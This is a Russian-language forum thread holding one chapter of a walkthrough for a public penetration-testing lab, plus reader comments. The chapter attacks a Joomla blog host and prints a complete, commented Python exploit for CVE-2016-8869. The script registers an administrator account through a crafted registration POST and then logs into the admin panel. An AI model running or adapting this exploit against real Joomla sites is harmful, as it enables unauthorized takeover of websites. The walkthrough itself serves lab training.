 |
|

12.01.2017, 03:59
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Глава 9 Предыдущая глава
Следующая глава
Оглавление
Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):
С этой статьи вы научитесь пользоваться публичными уязвимостями известных CMS (систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей Joomla
Ну что же начнем:
Пробросим порт:
Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS
Что бы удостоверится глянем исходный код страницы:
Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:
В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:
Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:
Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL /index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.
После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:
Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:
Python:
Код:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import
sys
#Стандартная Библиотека,будет используватся для вывода на экран банера
import
re
#Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import
argparse
#Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import
random
#Стандартная Библиотека,будет задействована для вывода на экран банера
import
time
#Стандартная Библиотека,будет задействована для вывода на экран банера
import
requests
#Стандартная Библиотека,будет задействована для создание HTTP запросов
from
termcolor
import
colored
#Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor
#Функция для создание парсера опций нашего скрипта
def
parse_options
(
)
:
parser
=
argparse
.
ArgumentParser
(
description
=
'Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для античат '
,
epilog
=
"Контакная ифнормация:\n http://vk.com/corpofhack"
)
parser
.
add_argument
(
'url'
,
help
=
'Адрес URL для Joomla CMS'
)
parser
.
add_argument
(
'-u'
,
'--username'
,
default
=
'codeby'
,
help
=
'Логин для регистрации Администратора'
)
parser
.
add_argument
(
'-p'
,
'--password'
,
default
=
'1337'
,
help
=
'Пароль для регистрации Администратора'
)
parser
.
add_argument
(
'-e'
,
'--email'
,
default
=
'DarkNode@codeby.net'
,
help
=
'Ваш Email'
)
return
parser
.
parse_args
(
)
#Функция для извлечения CSRF токена в HTML странице
def
extract_token
(
resp
)
:
match
=
re
.
search
(
r'name="([a-f0-9]{32})" value="1"'
,
resp
.
text
,
re
.
S
)
if
match
is
None
:
print
(
"[!] Не смог найти CSRF token"
)
return
None
return
match
.
group
(
1
)
#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def
create_user
(
options
,
sess
,
token
)
:
#Принимает на вход опции взятые из парсера, открытую сессию,и токен
"""
Создание учетной записи администратора через CVE
"""
data
=
{
# Пользовательский обьект
'user[name]'
:
options
.
username
,
'user[username]'
:
options
.
username
,
'user[password1]'
:
options
.
password
,
'user[password2]'
:
options
.
password
,
'user[email1]'
:
options
.
email
,
'user[email2]'
:
options
.
email
,
'user[groups][]'
:
'7'
,
# 7 = Группа Администраторы
'user[activation]'
:
'0'
,
'user[block]'
:
'0'
,
# Данные формы
'form[name]'
:
options
.
username
,
'form[username]'
:
options
.
username
,
'form[password1]'
:
options
.
password
,
'form[password2]'
:
options
.
password
,
'form[email1]'
:
options
.
email
,
'form[email2]'
:
options
.
email
,
'form[option]'
:
'com_users'
,
'form[task]'
:
'user.register'
,
token
:
'1'
,
}
#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
return
sess
.
post
(
options
.
url
+
"/index.php/component/users/?task=user.register"
,
data
=
data
,
allow_redirects
=
False
,
verify
=
False
)
#Функция которая пытается залогинится от админа
def
try_admin_login
(
options
,
sess
)
:
admin_url
=
options
.
url
+
'/administrator/index.php'
print
(
'[...] Получение токена для логина Администратора'
)
resp
=
sess
.
get
(
admin_url
,
verify
=
False
)
token
=
extract_token
(
resp
)
if
not
token
:
return
False
print
(
'[*] Входим в админ панель...'
)
data
=
{
'username'
:
options
.
username
,
'passwd'
:
options
.
password
,
'task'
:
'login'
,
token
:
'1'
}
resp
=
sess
.
post
(
admin_url
,
data
=
data
,
verify
=
False
)
if
'task=profile.edit'
not
in
resp
.
text
:
print
(
'[!] Попытка входа под Администратором неудачная!'
)
return
print
(
colored
(
'[+] Успешный вход в админ панель!'
,
'cyan'
)
)
return
True
#Функция самого хека джумлы
def
pwn_joomla
(
options
)
:
sess
=
requests
.
Session
(
)
print
(
"[...] Получение CSRF токена"
)
resp
=
sess
.
get
(
options
.
url
+
"/index.php/component/users/?view=login"
,
verify
=
False
)
token
=
extract_token
(
resp
)
if
not
token
:
return
False
print
colored
(
"[!] Создание учетной записи Администратора"
,
"red"
)
resp
=
create_user
(
options
,
sess
,
token
)
can_login
=
try_admin_login
(
options
,
sess
)
if
not
can_login
:
# TODO: periodically check if we can login as admin
print
(
"[-] Проверьте почту для активации аккаунта"
)
try
:
resp
=
raw_input
(
'[?] Нажмите любую клавиши после активации аккаунта'
)
except
KeyboardInterrupt
:
return
False
can_login
=
try_admin_login
(
options
,
sess
)
if
not
can_login
:
return
False
print
colored
(
"[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]"
,
"green"
)
print
"Используйте логин: "
+
colored
(
options
.
username
,
"yellow"
)
+
" и пароль: "
+
colored
(
options
.
password
,
"yellow"
)
+
" для входа в Панель Администратора"
#Вывод банера
def
print_logo
(
)
:
clear
=
"\x1b[0m"
colors
=
[
31
,
32
,
33
,
34
,
35
,
36
]
logo
=
"""
=====================================================================
#### #### ##### ###### ##### # # # # ###### #####
# # # # # # # # # # # ## # # #
# # # # # ##### ##### # # # # ##### #
# # # # # # # # # ### # # # # #
# # # # # # # # # # ### # ## # #
#### #### ##### ###### ##### # ### # # ###### #
____ _ _ _ _
| _ \ __ _ _ __| | _| \ | | ___ __| | ___
| | | |/ _` | '__| |/ / \| |/ _ \ / _` |/ _ \
| |_| | (_| | | | <| |\ | (_) | (_| | __/
|____/ \__,_|_| |_|\_\_| \_|\___/ \__,_|\___|
**********************************************
+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
|J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
+-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
contacts:
https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
for
line
in
logo
.
split
(
"\n"
)
:
sys
.
stdout
.
write
(
"\x1b[1;%dm%s%s\n"
%
(
random
.
choice
(
colors
)
,
line
,
clear
)
)
time
.
sleep
(
0.05
)
#Главная функция
def
main
(
base_url
)
:
options
=
parse_options
(
)
print_logo
(
)
if
pwn_joomla
(
options
)
:
print
(
"[+] УСПЕХ!!!:"
,
options
.
url
)
else
:
pass
if
__name__
==
"__main__"
:
sys
.
exit
(
main
(
"http://127.0.0.1/"
)
)
Надеюсь тут понятно более мение,если что , спрашивайте - попытаюсь ответить в комментариях
Ну а дальше профит:
Входим в админку...Смотрим ,есть статья одна не опубликованная
Смотрим Alias - там что то похоже на токен)
Проверяем:
Токен взят)
Вот видосик:
Предыдущая глава
Следующая глава
Оглавление
|
|
|

12.01.2017, 12:13
|
|
Новичок
Регистрация: 21.09.2009
Сообщений: 26
С нами:
8756391
Репутация:
0
|
|
Господи! Это о***ено!
Спасибо за статью, только у меня симпатий не хватает...поставил в закладки.
[doublepost=1484208817,1484200635][/doublepost]
Спасибо, так намного понятнее
|
|
|

12.01.2017, 15:17
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Dmitry88 сказал(а):
Так как в лабе авторизация по мейлу не нужна. Я использовал готовый модуль метасплойта (действительно после болезненного обновления вручную, его добавили). Достаточно было вписать рандомный мейл. Даже активировать не пришлось, сразу зашел в админку после выполнения скрипта.
Поля мейл не всегда нужно активировать,это всего лишь обезательно поле для формы регистрации аккаунта.
Dmitry88 сказал(а):
ПС: ОФФТОП: а чем ascii рисунки рисуете ? Ручками или утилитками?
Картинки онлайн сервисами,первые две ссылке в гугле:
тут и тут
Текст - утилитой figlet// apt-get install figlet
[doublepost=1484219879,1484219783][/doublepost]
desp сказал(а):
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
Могу предположить что метасплоит в лаборатории определил не верно версию,хотя лично мною не проверялось на Joomla 3.6.5 Stable. Так что , это пока только предположение...
|
|
|

14.01.2017, 13:15
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Rtjit сказал(а):
Как скоро ждать новый пост в котором будет про повышение привилегий?
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
|
|
|

14.01.2017, 18:14
|
|
Новичок
Регистрация: 13.01.2017
Сообщений: 0
С нами:
4910412
Репутация:
0
|
|
спасибо за очередную главу оч понравилось многое начинаешь понимать только симпатий не хватает посмотреть код(
[doublepost=1484403254,1484403147][/doublepost]
~~DarkNode~~ сказал(а):
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
будет здорово сейчас очень интересует статья про взятие токена на win-term машине
|
|
|

16.01.2017, 11:20
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Dmitry88 сказал(а):
Ребята, извините за оффтопик, но застрял на последнем задании (cloud server). Не могу к нему подключиться. После того как зашел на ssh e.lindsey, не могу пробросить порты к клауду. Пинг есть, nmap показывает 2 порта но они закрыты ( я так понимаю из-за фаервола). Попытка подключения по ssh с e.lindsey на клауд тоже ничего не дала. Пишет permission denied , disconnected from server.
Что я делаю не так ?
cloud береться после взятие Win Term.
|
|
|

16.01.2017, 14:00
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Dmitry88 сказал(а):
win term и dc0 есть. Логин и пароль rross для ssh на 2222 порту есть.Может еще rsa ключ нужен?
Зашел проверить:
e.lindsey@tl10-ssh:~$ nmap -Pn 172.16.0.3 -p 2222
Starting Nmap 6.00 ( http://nmap.org ) at 2017-01-16 12:51 MSK
Nmap scan report for 172.16.0.3
Host is up (0.0011s latency).
PORT STATE SERVICE
2222/tcp closed EtherNet/IP-1
Возможно ,кто то уронил после рутирования машины...
Нужно писать адиннам лабы - что бы проверили работоспособность таска:
А на вин-терме сказано , что клауд работает по учеткой рроса на 2222 порту...
Так что должен работать порт 2222
|
|
|

10.04.2017, 16:08
|
|
Новичок
Регистрация: 31.03.2017
Сообщений: 0
С нами:
4799607
Репутация:
0
|
|
Ссылочки на след. части не прокинуты
|
|
|

10.04.2017, 21:43
|
|
Новичок
Регистрация: 20.10.2016
Сообщений: 0
С нами:
5033900
Репутация:
0
|
|
Возможно поможет поиск по метке
https://codeby.net/tags/testlab-v10/
|
|
|

10.04.2017, 23:29
|
|
Новичок
Регистрация: 31.03.2017
Сообщений: 0
С нами:
4799607
Репутация:
0
|
|
~~DarkNode~~ сказал(а):
Возможно поможет поиск по метке
https://codeby.net/tags/testlab-v10/
Я так, ради приличия указал
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|